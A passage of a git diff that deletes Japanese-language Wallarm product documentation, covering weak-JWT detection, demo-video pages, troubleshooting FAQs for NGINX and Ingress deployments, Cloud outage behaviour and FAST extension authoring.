CVEやNVDなどの情報源を継続的に監視し、コンポーネントの脆弱性を把握します。 -* 公式ソースから安全なリンク経由でのみコンポーネントを取得します。改ざん・悪意あるコンポーネントが紛れ込む可能性を減らすため、署名付きパッケージを優先します。 -* メンテナンスされていない、または旧バージョン向けのセキュリティパッチを提供しないライブラリやコンポーネントを監視します。パッチ適用が不可能な場合は、検出された問題を監視・検出・防御するためにVirtual patchの展開を検討します。 - -### 弱いJWT - -**脆弱性** - -**CWEコード:** [CWE-1270][cwe-1270], [CWE-1294][cwe-1294] - -**Wallarmコード:** `weak_auth` - -**説明:** - -[JSON Web Token（JWT）](https://jwt.io/)は、APIなどのリソース間でデータを安全に交換するために使用される一般的な認証標準です。 - -JWTの侵害は一般的な攻撃目標です。認証機構を突破されると、攻撃者にアプリケーションやAPIへの完全なアクセスを与えてしまうためです。JWTが弱ければ弱いほど、侵害される可能性が高まります。 - -Wallarmは、次の条件に該当するJWTを弱いと見なします。 - -* 署名なし: 署名アルゴリズムがない（`alg`フィールドが`none`、または存在しない）。 -* 侵害された秘密鍵で署名されている。 - -弱いJWTが検出されると、Wallarmは対応する[脆弱性](user-guides/vulnerabilities.md)を記録します。 - -**Wallarmによる保護に加えて:** - -* [OWASP JSON Web Token Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)の推奨事項を適用します。 -* [広く知られたシークレットに対してJWT実装が脆弱か確認します](https://lab.wallarm.com/340-weak-jwt-secrets-you-should-check-in-your-code/) \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/api-abuse-prevention.md b/docs/latest-ja/demo-videos/api-abuse-prevention.md deleted file mode 100644 index ac1eb42533..0000000000 --- a/docs/latest-ja/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1,12 +0,0 @@ -# API Abuse Preventionの概要 - -Wallarmプラットフォームの[**API Abuse Prevention**](../api-abuse-prevention/overview.md)モジュールが保護対象とするさまざまなボットの種類や、ボットによるAPIの不正利用をどのように防止できるかを理解できるように、デモ動画をご覧ください。 - -
        - -
        - -**関連ドキュメント** - -* [API Abuse Preventionの概要](../api-abuse-prevention/overview.md) -* [API Abuse Preventionユーザーガイド](../api-abuse-prevention/setup.md) \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/api-discovery.md b/docs/latest-ja/demo-videos/api-discovery.md deleted file mode 100644 index 007ac80bc9..0000000000 --- a/docs/latest-ja/demo-videos/api-discovery.md +++ /dev/null @@ -1,12 +0,0 @@ -# API Discoveryデモ動画 - -Wallarmプラットフォームの[**API Discovery**](../api-discovery/overview.md)モジュールの可能性を最大限に紹介するデモ動画です。実際のAPI利用状況に基づいて構築されるAPIインベントリについて理解し、提示されている情報の活用方法を学べます。 - -
        - -
        - -**関連ドキュメント** - -* [API Discovery概要](../api-discovery/overview.md) -* [API Discovery - 構築されたAPIインベントリの探索](../api-discovery/exploring.md) \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/api-leaks.md b/docs/latest-ja/demo-videos/api-leaks.md deleted file mode 100644 index 7baacf4465..0000000000 --- a/docs/latest-ja/demo-videos/api-leaks.md +++ /dev/null @@ -1,11 +0,0 @@ -# API Leaksの概要 - -Wallarmプラットフォームの[**API Leaks**](../api-attack-surface/security-issues.md)モジュールが検出するAPIリークのさまざまな種類を把握し、検出されたリークにどのように対処できるかを理解するために、デモ動画をご覧ください。 - -
        - -
        - -**関連ドキュメント** - -* [AASM - セキュリティ問題の検出](../api-attack-surface/security-issues.md) \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/events-inspection.md b/docs/latest-ja/demo-videos/events-inspection.md deleted file mode 100644 index 989131ce29..0000000000 --- a/docs/latest-ja/demo-videos/events-inspection.md +++ /dev/null @@ -1,51 +0,0 @@ -# CVEと関連する攻撃の分析 - -デモ動画では、Wallarmプラットフォームの[**CVEs**](../user-guides/dashboards/threat-prevention.md)ダッシュボードの概要と、このダッシュボードを[**Attacks**](../user-guides/events/check-attack.md)セクションと併用して特定のCVE関連イベントを分析する方法を解説します。 - - - -
        - -
        - -**関連ドキュメント** - -* [Threat Prevention dashboard](../user-guides/dashboards/threat-prevention.md)ではCVE情報を確認できます \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/overview.md b/docs/latest-ja/demo-videos/overview.md deleted file mode 100644 index 6e56485233..0000000000 --- a/docs/latest-ja/demo-videos/overview.md +++ /dev/null @@ -1,28 +0,0 @@ -# Wallarmプラットフォームの設定 - - - -Wallarm Consoleで利用可能な[ユーザー管理](../user-guides/settings/users.md)、ノードの[フィルタリングモード](../admin-en/configure-wallarm-mode.md#general-filtration-mode)の設定、[サブスクリプションプラン](../about-wallarm/subscription-plans.md)の管理、[アプリケーション設定](../user-guides/settings/applications.md)、[アクティビティログ](../user-guides/settings/audit-log.md)などのWallarmの基本設定を紹介するデモ動画をご覧ください。 - -
        - -
        \ No newline at end of file diff --git a/docs/latest-ja/demo-videos/shadow-api.md b/docs/latest-ja/demo-videos/shadow-api.md deleted file mode 100644 index 3f8a6f6459..0000000000 --- a/docs/latest-ja/demo-videos/shadow-api.md +++ /dev/null @@ -1,11 +0,0 @@ -# シャドーAPIとオーファンAPIの検出 - -Wallarmを使用してAPI内の[シャドーおよびオーファンエンドポイント](../api-discovery/rogue-api.md)をどのように検出できるかを紹介するデモ動画をご覧ください。 - -
        - -
        - -**関連記事** - -* [ローグAPIの検出](../api-discovery/rogue-api.md)（**API Discovery**モジュール） \ No newline at end of file diff --git a/docs/latest-ja/faq/common-errors-after-installation.md b/docs/latest-ja/faq/common-errors-after-installation.md deleted file mode 100644 index 39e55a9021..0000000000 --- a/docs/latest-ja/faq/common-errors-after-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# エンドユーザーの問題のトラブルシューティング - -NGINX用Wallarmノードのインストール後にエラーが発生した場合は、本トラブルシューティングガイドを確認してください。ここに該当する詳細が見つからない場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にお問い合わせください。 - -## ユーザーがファイルをダウンロードできない - -フィルタノードのインストール後にファイルのダウンロードが失敗する場合は、Wallarmの設定ファイル内の`client_max_body_size`ディレクティブで設定された上限をリクエストサイズが超過していることが原因です。 - -ファイルのアップロードを受け付けるアドレスの`location`ディレクティブ内にある`client_max_body_size`の値を変更してください。`location`内の値のみを変更することで、メインページに大きなリクエストが送られるのを防げます。 - -`client_max_body_size`の値を変更します: - -1. 編集のために`/etc/nginx/sites-enabled/default`（Dockerコンテナで実行している場合は`/etc/nginx/http.d/default.conf`）ファイルを開きます。 -2. 新しい値を設定します: - - ``` - location /file/upload { - client_max_body_size 16m; - } - ``` - - `/file/upload`はファイルのアップロードを受け付けるアドレスです。 - -ディレクティブの詳細な説明は[公式NGINXドキュメント](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)にあります。 \ No newline at end of file diff --git a/docs/latest-ja/faq/ingress-installation.md b/docs/latest-ja/faq/ingress-installation.md deleted file mode 100644 index f883c347a8..0000000000 --- a/docs/latest-ja/faq/ingress-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# Wallarm Ingress Controllerのトラブルシューティング - -このトラブルシューティングガイドでは、[WallarmのNGINXベースのIngress controllerのデプロイ](../admin-en/installation-kubernetes-en.md)中に直面する可能性がある一般的な問題をまとめます。ここに該当する内容が見つからない場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)までお問い合わせください。 - -## Ingress controllerが検出・使用するクライアントのIPアドレスを確認するには - -* Ingress controllerのコンテナのログを確認し、処理されたリクエストに関する記録を探します。デフォルトのログ形式では、最初に出力されるフィールドが検出されたクライアントのIPアドレスです。以下の例では、検出されたIPアドレスは`25.229.38.234`です。 -``` -[wallarm-ingress-nginx-ingress-controller-775cf75564-6jlt9 nginx-ingress-controller] 25.229.38.234 - - [14/Mar/2020:23:55:11 +0000] "GET /ping HTTP/1.1" 200 893 "-" "curl/7.64.1" 172 0.020 [default-sise-80] [] 172.17.0.5:8080 893 0.020 200 d8402076753798d3b065269c16d4b34f -``` - -* Wallarm Consoleの[USクラウド](https://us1.my.wallarm.com)または[EUクラウド](https://my.wallarm.com)に移動し、→ **Attacks**セクションでリクエストの詳細を展開します。IPアドレスは**Source**フィールドに表示されます。例えば: - - ![リクエストが送信されたIPアドレス](../images/request-ip-address.png) - - Attacksのリストが空の場合は、Wallarm Ingress controllerで保護されているアプリケーションに[テスト攻撃](../admin-en/uat-checklist-en.md#node-registers-attacks)を送信できます。 - -## Ingress controllerがX-FORWARDED-FORリクエストヘッダーを受信していることを確認するには - -Wallarm Consoleの[USクラウド](https://us1.my.wallarm.com)または[EUクラウド](https://my.wallarm.com)に移動し、→ **Attacks**セクションでリクエストの詳細を展開します。表示されたリクエスト詳細の`X-FORWARDED-FOR`ヘッダーを確認します。例えば: - -![リクエストのX-FORWARDED-FORヘッダー](../images/x-forwarded-for-header.png) - -Attacksのリストが空の場合は、Wallarm Ingress controllerで保護されているアプリケーションに[テスト攻撃](../admin-en/uat-checklist-en.md#node-registers-attacks)を送信できます。 \ No newline at end of file diff --git a/docs/latest-ja/faq/nginx-compatibility.md b/docs/latest-ja/faq/nginx-compatibility.md deleted file mode 100644 index 1cfa013f82..0000000000 --- a/docs/latest-ja/faq/nginx-compatibility.md +++ /dev/null @@ -1,29 +0,0 @@ -# NGINXバージョンとのWallarmフィルタリングノードの互換性 - -お使いの環境にインストールされているNGINXのバージョンが、stable、Plus、またはDebian/CentOSリポジトリからインストールされるものと異なる場合は、本ドキュメントでWallarmのインストール方法をご確認ください。 - -## WallarmフィルタリングノードはNGINX mainlineと互換性がありますか？ - -いいえ、WallarmフィルタリングノードはNGINXの`mainline`と互換性がありません。Wallarmノードは次の方法でインストールできます。 - -* 公式のオープンソース版NGINXの`stable`に、次の[手順](../installation/nginx/dynamic-module.md)に従って接続します -* Debian/CentOSリポジトリからインストールされたNGINXに、次の[手順](../installation/nginx/dynamic-module-from-distr.md)に従って接続します -* 公式の商用版NGINX Plusに、次の[手順](../installation/nginx-plus.md)に従って接続します - -## WallarmフィルタリングノードはカスタムビルドのNGINXと互換性がありますか？ - -はい、Wallarmパッケージを再ビルドすれば、WallarmモジュールをカスタムビルドのNGINXに接続できます。パッケージを再ビルドするには、[Wallarmテクニカルサポートチーム](mailto:support@wallarm.com)にご連絡のうえ、以下の情報をお送りください。 - -* Linuxカーネルのバージョン： `uname -a` -* Linuxディストリビューション： `cat /etc/*release` -* NGINXのバージョン： - - * [NGINX公式ビルド](https://nginx.org/en/linux_packages.html)： `/usr/sbin/nginx -V` - * NGINXカスタムビルド： `/nginx -V` - -* 互換性シグネチャ： - - * [NGINX公式ビルド](https://nginx.org/en/linux_packages.html)： `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * NGINXカスタムビルド： `egrep -ao '.,.,.,[01]{33}' /nginx` - -* NGINXのworkerプロセスを実行しているユーザー（およびそのユーザーのグループ）： `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-ja/faq/node-issues-on-owasp-dashboards.md b/docs/latest-ja/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index a188915575..0000000000 --- a/docs/latest-ja/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1,42 +0,0 @@ -# OWASP DashboardでアラートされたWallarm nodeの問題への対処 - -Wallarm nodeが更新されていない、またはCloudとの同期に問題がある場合、[OWASP dashboard](../user-guides/dashboards/owasp-api-top-ten.md)に、インフラのセキュリティに影響を及ぼす可能性のある問題を示すエラーメッセージが表示されます。本記事では、これらの問題への対処方法を説明します。 - -## Wallarm nodeが古くなっています - -古いnodeには重要なセキュリティ更新が欠けている可能性があり、悪意のあるトラフィックに防御をすり抜けられる可能性があります。同期の問題が発生するとnodeの機能が損なわれ、Cloudから重要なセキュリティポリシーを受信できなくなります。これらの問題は主にOWASP API8（Security Misconfiguration）の脅威に関連しており、アプリケーションスタックのいずれかの部分でセキュリティソリューションが欠落していると、システムが脆弱になります。これを防ぐために、dashboardはnodeの動作に関する問題を通知します。例えば次のとおりです: - -![nodeの問題を示すOWASP dashboard](../images/user-guides/dashboard/owasp-dashboard-node-issues.png) - -安全な環境を維持するためには、Wallarm nodeを定期的に更新し、同期の問題に対処することが重要です。Wallarm nodeのバージョンが[サポート終了に達している、または近づいている](../updating-migrating/versioning-policy.md#version-list)場合は、最新バージョンへのアップグレードを推奨します。 - -## Wallarm nodeとCloudの同期に問題があります - -Wallarm Cloudとの同期で問題が発生している場合は、[該当の設定](../admin-en/configure-cloud-node-synchronization-en.md)が正しいことを確認してください。 - -同期やその他の問題の解決に支援が必要な場合、または他のリクエストがある場合は、[Wallarm support team](mailto:support@wallarm.com)にお問い合わせください。分析のため、以下の[ログ](../admin-en/configure-logging.md)を提供してください: - -* `syncnode`スクリプトに問題がないか確認するための、`/opt/wallarm/var/log/wallarm/wcli-out.log`のログ -* 同期の問題に関する追加の詳細を提供するための、（デプロイオプションに応じて）`/var/log/syslog`または`/var/log/messages`ディレクトリのログ - -## nodeのuuidおよび/またはsecretを検出できません - -作成直後または更新直後のnodeのログに、「Can't detect node uuid and/or secret, please add node to cloud first.」というメッセージが表示されることがあります。 - -nodeの作成や更新時にはCloudに登録されます。このメッセージは、その登録が成功していない可能性を示しており、nodeとCloudの同期が行われません（[monitoring](../admin-en/configure-wallarm-mode.md)モードでの[基本](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)検出のみとなり、Cloudから[rules](../user-guides/rules/rules.md)、[mitigation controls](../about-wallarm/mitigation-controls-overview.md)、[lists](../user-guides/ip-lists/overview.md)は配信されず、monitoringの結果もCloudに送信されません）。 - -**nodeが登録済み** - -最も手早く登録が成功したかを確認する方法は、Wallarm Console→[**Nodes**](../user-guides/nodes/nodes.md)セクションに当該nodeが存在するかを確認することです。以降の同期状況もここで確認できます。 - -「登録されていないnode」の問題を一般的に解決するには、[Wallarm support team](https://support.wallarm.com/)にお問い合わせください。 - -**心配する必要がない場合** - -場合によっては、nodeの登録処理が完了する前に、ログに「Can't detect node uuid and/or secret, please add node to cloud first」というメッセージが表示されることがあります: - -``` -YYYY-MM-DD HH:MM:SS* INFO syncnodeXXXXX: Triggers result: 1 success, 0 skipped, 0 errors -``` - -したがって、このメッセージより前に出力される登録エラーは無視して問題ありません。登録が完了すれば消えます。 \ No newline at end of file diff --git a/docs/latest-ja/faq/wallarm-cloud-down.md b/docs/latest-ja/faq/wallarm-cloud-down.md deleted file mode 100644 index 02b7fb9b30..0000000000 --- a/docs/latest-ja/faq/wallarm-cloud-down.md +++ /dev/null @@ -1,91 +0,0 @@ -# Wallarm Cloudがダウンした場合 - -Wallarm Cloudがダウンしている場合でも、Wallarmノードは一部の制限付きで攻撃の緩和を継続します。詳細は本トラブルシューティングガイドをご参照ください。 - -## Wallarm Cloudがダウンしている場合、Wallarmノードはどのように動作しますか？ - -Wallarm Cloudは非常に安定かつスケーラブルなサービスです。加えて、お客様のアカウントデータは[バックアップ](#how-does-wallarm-protect-its-cloud-data-from-loss)によって保護されています。 - -しかし、まれにWallarm Cloudが一時的にダウンする場合（たとえばメンテナンスのための停止など）でも、Wallarmノードは一部の制限付きで動作を継続します。 - -!!! info "Wallarm Cloudの稼働状況の確認" - Wallarm Cloudのステータスは[status.wallarm.com](https://status.wallarm.com/)で確認できます。最新情報を受け取るには更新通知を購読してください。 - -継続して動作するもの: - -* Cloudとノード間の直近の正常な[同期](../admin-en/configure-cloud-node-synchronization-en.md)時にノードへアップロードされたルールを用い、設定済みの[モード](../admin-en/configure-wallarm-mode.md#available-filtration-modes)でのトラフィック処理。以下の要素の最新版はスケジュールに従ってCloudからノードへアップロードされ、ノード内にローカル保存されるため、ノードは処理を継続できます: - - * [カスタムルールセット](../user-guides/rules/rules.md#ruleset-lifecycle) - * [proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) - -* [IP lists](../user-guides/ip-lists/overview.md)もノードにアップロードされ、ノード内に保存されます。アップロード済みのアドレスは有効期限日時までは処理され続けます。 - - これらの日時はCloudの復旧と同期が行われるまで更新されません。また、Cloudの復旧・同期までは新規/削除されたアドレスも反映されません。 - - なお、リスト内の一部IPアドレスが期限切れになると、それらに関連する[ブルートフォース攻撃](../admin-en/configuration-guides/protecting-against-bruteforce.md)に対する保護は停止します。 - -* Cloudからノードへの直近の正常なアップロードでノードに取り込まれた仕様に基づく[API仕様の強制](../api-specification-enforcement/overview.md)。 - -停止するもの: - -* [API Attack Surface Management (AASM)](../api-attack-surface/overview.md)。 -* [クレデンシャルスタッフィングの検出](../about-wallarm/credential-stuffing.md)。 -* [API乱用防止](../api-abuse-prevention/overview.md)。 -* ノードは検出した攻撃や脆弱性に関するデータを収集しますが、Cloudへ送信できません。なお、ノードの[postanalyticsモジュール](../admin-en/installation-postanalytics-en.md)にはインメモリストレージ（wstore）があり、収集データはCloudへ送信されるまで一時的にそこへ保存されます。Cloudが復旧すると、バッファリングされたデータは送信されます。 - - !!! warning "ノードのインメモリストレージの制限" - バッファサイズには[制限](../admin-en/configuration-guides/allocate-resources-for-node.md#wstore)があり、超過すると古いデータから削除されます。したがって、Cloudのダウン時間の長さやその間に収集された情報量によっては、Cloud復旧後にWallarm Consoleで一部のデータしか確認できない場合があります。 - -* ノードは処理済みトラフィックの[メトリクス](../admin-en/configure-statistics-service.md)を収集しますが、Cloudへ送信できません。 -* [API Sessions](../api-sessions/overview.md) — Cloudがダウンしていた間に発生した正当なリクエストに関する情報はすべて失われます。攻撃に関する情報は提示されます（復旧後にCloudへアップロードされます）。 -* [Triggers](../user-guides/triggers/triggers.md)は動作しなくなるため、次の影響があります: - * [IP lists](../user-guides/ip-lists/overview.md)の更新が止まります。 - * [Trigger-based notifications](../user-guides/triggers/triggers.md)は表示されません。 -* [APIインベントリの検出](../api-discovery/overview.md)は動作しません。 -* [Threat Replay Testing](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)は停止します。 -* [ブルートフォース攻撃](../admin-en/configuration-guides/protecting-against-bruteforce.md)は検出されません。 -* Integrationsは停止し、以下が発生します: - * 即時およびメールの[通知](../user-guides/settings/integrations/integrations-intro.md)は表示されません。 - * レポーティングは停止します。 -* Wallarm Consoleへアクセスできません。 -* [Wallarm API](../api/overview.md)は応答しません。 - -なお、上記のような全体的なダウン状態だけでなく、一部のサービスのみが一時的に利用できず、他のサービスは動作し続ける場合もあります。その場合は、[status.wallarm.com](https://status.wallarm.com/)で該当する情報が提供されます。 - -## Cloud復旧後はどうなりますか？ - -Cloud復旧後は次のとおりです: - -* Wallarm Consoleへのアクセスが復旧します。 -* ノードはバッファリングされた情報をCloudへ送信します（上記の制限事項にご留意ください）。 -* Triggersは新しいデータに反応し、通知の送信やIPの更新を行います。 -* IPに変更がある場合は、次回の同期時にノードへ送信されます。 -* [未完了のカスタムルールセット](#is-there-a-case-when-node-did-not-get-settings-saved-in-wallarm-console-before-wallarm-cloud-is-down)のビルドがあった場合は再開されます。 -* Cloudとフィルタリングノードは通常どおりスケジュールに従って同期します。 - -## Wallarm Cloudがダウンする前にWallarm Consoleに保存した設定がノードへ反映されない場合はありますか？ - -はい、可能性があります。例として、[同期](../admin-en/configure-cloud-node-synchronization-en.md)間隔が3分で、次の状況を考えます。 - -1. 直近のカスタムルールセットのビルドは21分前にCloud上で完了し、20分前にノードへアップロードされました。 -2. その後の6回の同期では、Cloud側に新しいものがなかったため何も取得されませんでした。 -3. その後、Cloud上でルールが変更され新しいビルドが開始されました。ビルドの完了には4分必要でしたが、2分経過した時点でCloudがダウンしました。 -4. ノードは完了したビルドのみを取得するため、その2分間の同期ではノードにアップロードするものはありません。 -5. さらに1分後、ノードは新たな同期要求を送りますが、Cloudは応答しません。 -6. ノードは「24分前の」カスタムルールセットに基づいてフィルタリングを継続し、Cloudがダウンしている間はその経過時間が増加し続けます。 - -## WallarmはCloudのデータをどのように損失から保護しますか？ - -Wallarm Cloudは、Wallarm Consoleでユーザーが提供したすべてのデータおよびノードからアップロードされたデータを保存します。前述のとおり、Wallarm Cloudが一時的にダウンすることは極めてまれです。仮に発生した場合でも、保存済みデータに影響が及ぶ可能性は非常に低いです。つまり、復旧後はすべてのデータをそのまま使用してすぐに作業を再開できます。 - -Wallarm Cloudの実データを保存しているハードドライブが破損するという低い可能性に備え、Wallarmは自動でバックアップを作成し、必要に応じてそこから復元します: - -* RPO: 24時間ごとにバックアップを作成します -* RTO: 48時間以内にシステムが再び利用可能になります -* 直近14個のバックアップを保持します - -!!! info "RPO/RTOの保護および可用性の指標" - * **RPO（recovery point objective）**は、データバックアップの頻度を決定するために用いられる指標です。データを喪失し得る最大の時間幅を定義します。 - * **RTO（recovery time objective）**は、災害後に許容可能なサービスレベルで業務を復旧し、業務停止に伴う耐え難い影響を回避するために、ビジネスが確保すべき実時間の長さを指します。 - -Wallarmのディザスタリカバリ（DR）計画および貴社向けの詳細については、[Wallarmサポートにお問い合わせください](mailto:support@wallarm.com)。 \ No newline at end of file diff --git a/docs/latest-ja/fast/README.md b/docs/latest-ja/fast/README.md deleted file mode 100644 index 25b3a40d14..0000000000 --- a/docs/latest-ja/fast/README.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -description: WallarmのFASTは、自動化されたセキュリティテストを生成・実行することでWebアプリケーションの脆弱性を特定するために設計されたツールです。 ---- - -[link-agreements]: agreements.md - -# Wallarm FASTの概要 - -WallarmのFramework for API Security Testing (FAST)は、セキュリティテストを自動的に生成・実行することでWebアプリケーションの脆弱性を特定できるように設計されたツールです。SQLインジェクションやXSSはそのような脆弱性の例です。 - -ターゲットアプリケーションにHTTPおよびHTTPSリクエストをリダイレクトするFASTノードは、本ソリューションの中核コンポーネントです。ノードはターゲットアプリケーションへのリクエストを傍受し、元のリクエストを改変してセキュリティテストセットを構築します。これは、ファジング手法と脆弱性ナレッジベースをFASTノードに直接組み込んでいるため可能です。ノードは広範なソースからリクエストを取得できます。たとえば、既存の自動テストセットをFASTのリクエストソースとして利用できます。 - -テストポリシーは、セキュリティテスト生成プロセスのパラメータを定義します。このようなポリシーは、本ソリューションの別コンポーネントであるWallarm Cloudを使用して作成します。Wallarm Cloudは、テストポリシーの作成、テスト実行プロセスの管理、テスト結果の確認のためのインターフェイスを提供します。 - -セキュリティテストセットの準備ができると、FASTノードはターゲットアプリケーションにリクエストを送信してテストセットを実行し、特定の脆弱性の有無を判断します。 - -自動化機能と組み込みの脆弱性ナレッジベースを備えているため、FASTはDevOps、セキュリティの専門家、ソフトウェア開発者、QAエンジニアに適したツールです。FASTを使用すると、セキュリティの専門家の深い知見を活用してセキュリティテストポリシーを構築しつつ、セキュリティ分野の専門知識がない開発者にもセキュリティテストの生成と実行を自動化する方法を提供できます。そのため、両グループのチームメンバーは非同期に互いに効果的なコミュニケーションが可能です。FASTのアーキテクチャにより、セキュリティテストの生成および実行プロセスを既存のCI/CDプロセスに統合でき、開発されているソフトウェアの全体的な品質を向上できます。 - ---8<-- "../include/fast/cloud-note-readme.md" - -!!! info "テキスト整形の規約" - 本ガイドには、目的の結果を得るために入力または実行する必要があるさまざまなテキストやコマンドが含まれています。利便性のため、それらはすべてテキスト整形の規約に従って整形しています。規約については、この[リンク][link-agreements]をご参照ください。 - - \ No newline at end of file diff --git a/docs/latest-ja/fast/agreements.md b/docs/latest-ja/fast/agreements.md deleted file mode 100644 index 2b98de7473..0000000000 --- a/docs/latest-ja/fast/agreements.md +++ /dev/null @@ -1,13 +0,0 @@ -# テキストの書式規約 - -本ガイド全体を通じて、入力または実行するテキスト文字列やコマンドが提示されます。必要に応じて、文字列やコマンドのキーワードは異なる書式で表記されます。以下の規則は本ガイド全体に適用されます: - - -| 書式の規則 | 説明 | -| ----------------------------- | ------------------------------------------------------------ | -|`通常` | 通常の等幅フォントで記載された文字列は情報提供のためのもので、読者が入力することは想定していません。
        このような文字列は、コマンドの出力やその他の情報を表すことがあります。| -|例: | Bashシェルのプロンプト:
        `$` | -|**`太字`** | 太字の等幅フォントで記載された文字列は、そのまま入力します。 | -|例: | Linuxでシステム情報を表示するには、次のコマンドを入力します:
        `$` **`uname -a`** | -|*`斜体`* または *`<斜体>`* | 斜体の等幅フォントで記載された文字列は、読者が入力する値を表します。たとえば、コマンド引数が*`<名前>`*のように書式化されている場合は、*`<名前>*`ではなく、その名前に相当する値を入力します。
        入力が一語で表せない場合は、その文字列を<...>の括弧で囲みます。値を入力する際は、括弧は省略します。たとえば、コマンド引数が*`<ユーザーのパスワード>`*のように書式化されている場合、<および>の記号は付けずにパスワードを入力します。 | -|例: | `cat`コマンドは、Linuxでファイルの内容を表示するために次のように使用できます:
        `$` **`cat`** *`ファイル名`*
        `$` **`cat`** *`<ファイル名>`*

        MyFile.txtという名前のファイルの内容を表示する必要がある場合は、次のコマンドを実行します:
        `cat MyFile.txt` | \ No newline at end of file diff --git a/docs/latest-ja/fast/cloud-list.md b/docs/latest-ja/fast/cloud-list.md deleted file mode 100644 index 0a9eb3d49f..0000000000 --- a/docs/latest-ja/fast/cloud-list.md +++ /dev/null @@ -1,24 +0,0 @@ -# Wallarm Cloud一覧 - -FASTは2つのクラウドを利用して動作します。これらのクラウドは地理的なロケーションに基づいて分かれており、次の2種類があります。 -* 米国クラウド（別名*US cloud*）。 -* 欧州クラウド（別名*EU cloud*）。 - -動作中、FASTはいずれかのクラウドに配置されているWallarmポータルとAPIサーバーとやり取りします: -* USクラウド: - * Wallarmポータル: - * Wallarm APIサーバー: `us1.api.wallarm.com` -* EUクラウド: - * Wallarmポータル: - * Wallarm APIサーバー: `api.wallarm.com` - -!!! warning "ご注意ください" - **Wallarm Cloudとのやり取りのルール:** - - 同じクラウド内にあるWallarmポータルおよびAPIサーバーとのみやり取りできます。 - - **Wallarm CloudとFASTドキュメント:** - - * 簡潔さのため、本ドキュメント全体では、FASTが米国のWallarm Cloudとやり取りするものと仮定しています。 - * 特に断りがない限り、本ドキュメントの情報は、利用可能なすべてのクラウドに同様に適用できます。 - * 欧州クラウドを利用する場合は、FASTや本ドキュメントに従って作業する際に、WallarmポータルとAPIサーバーの対応するアドレスを使用してください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/create-extension.md b/docs/latest-ja/fast/dsl/create-extension.md deleted file mode 100644 index f5b33ccca6..0000000000 --- a/docs/latest-ja/fast/dsl/create-extension.md +++ /dev/null @@ -1,86 +0,0 @@ -[link-points]: points/intro.md -[link-detect]: detect/phase-detect.md -[link-collect]: phase-collect.md -[link-match]: phase-match.md -[link-modify]: phase-modify.md -[link-send]: phase-send.md -[link-generate]: phase-generate.md -[link-extensions]: using-extension.md -[link-ext-logic]: logic.md -[link-vuln-list]: ../vuln-list.md - -[img-vulns]: ../../images/fast/dsl/en/create-extension/vulnerabilities.png -[img-vuln-details]: ../../images/fast/dsl/en/create-extension/vuln_details.png - -[anchor-meta-info]: #structure-of-the-meta-info-section - -# FAST拡張機能の作成 - -!!! info "リクエスト要素記述の構文" - FAST拡張機能を作成する際は、ポイントを使用して操作する必要があるリクエスト要素を正しく記述できるよう、アプリケーションに送信されるHTTPリクエストおよびアプリケーションから受信するHTTPレスポンスの構造を把握しておく必要があります。 - - 詳細については、この[リンク][link-points]をご覧ください。 - -FAST拡張機能は、動作に必要なすべてのセクションを対応するYAMLファイル内で記述することで作成します。拡張機能の種類によって使用するセクションのセットが異なります（拡張機能の種類の詳細は[こちら][link-ext-logic]をご覧ください）。 - -## 使用するセクション - -### 変更型拡張機能 - -この種類の拡張機能では次のセクションを使用します。 -* 必須セクション: - * `meta-info`—拡張機能が検出する脆弱性に関する情報を含みます。このセクションの構造は[以下][anchor-meta-info]をご覧ください。 - * `detect`—必須のDetectフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-detect]をご覧ください。 -* 任意セクション（省略可）: - * `collect`—任意のCollectフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-collect]をご覧ください。 - * `match`—任意のMatchフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-match]をご覧ください。 - * `modify`—任意のModifyフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-modify]をご覧ください。 - * `generate`—任意のGenerateフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-generate]をご覧ください。 - - -### 非変更型拡張機能 - -この種類の拡張機能では、次のセクションが必須です。 -* `meta-info`—拡張機能が検出する脆弱性に関する情報を含みます。このセクションの構造は[以下][anchor-meta-info]をご覧ください。 -* `send`—ベースラインリクエストに記載されたホストに送信するための、あらかじめ定義されたテストリクエストを含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-send]をご覧ください。 -* `detect`—必須のDetectフェーズの説明を含みます。このフェーズおよび対応するセクション構造の詳細については、この[リンク][link-detect]をご覧ください。 - - -## `meta-info`セクションの構造 - -情報用の`meta-info`セクションは次の構造です。 - -``` -meta-info: - - title: - - type: - - threat: - - description: -``` - -* `title` — 脆弱性を説明する任意のタイトル文字列です。指定した値はWallarmのWebインターフェースの検出済み脆弱性一覧の「Title」列に表示されます。脆弱性そのもの、またはその脆弱性を検出した特定の拡張機能の識別に使用できます。 - - ??? info "例" - `title: "Example vulnerability"` - -* `type` — 拡張機能が悪用を試みる脆弱性の種類を表す必須パラメータです。指定した値はWallarmのWebインターフェースの検出済み脆弱性一覧の「Type」列に表示されます。取り得る値は[こちら][link-vuln-list]で説明されているいずれかです。 - - ??? info "例" - `type: sqli` - -* `threat` — 脆弱性の脅威レベルを定義する任意パラメータです。指定した値はWallarmのWebインターフェースの検出済み脆弱性一覧で「Risk」列にグラフィカルに表示されます。値は1から100の範囲の整数を設定できます。値が大きいほど脅威レベルが高くなります。 - - ??? info "例" - 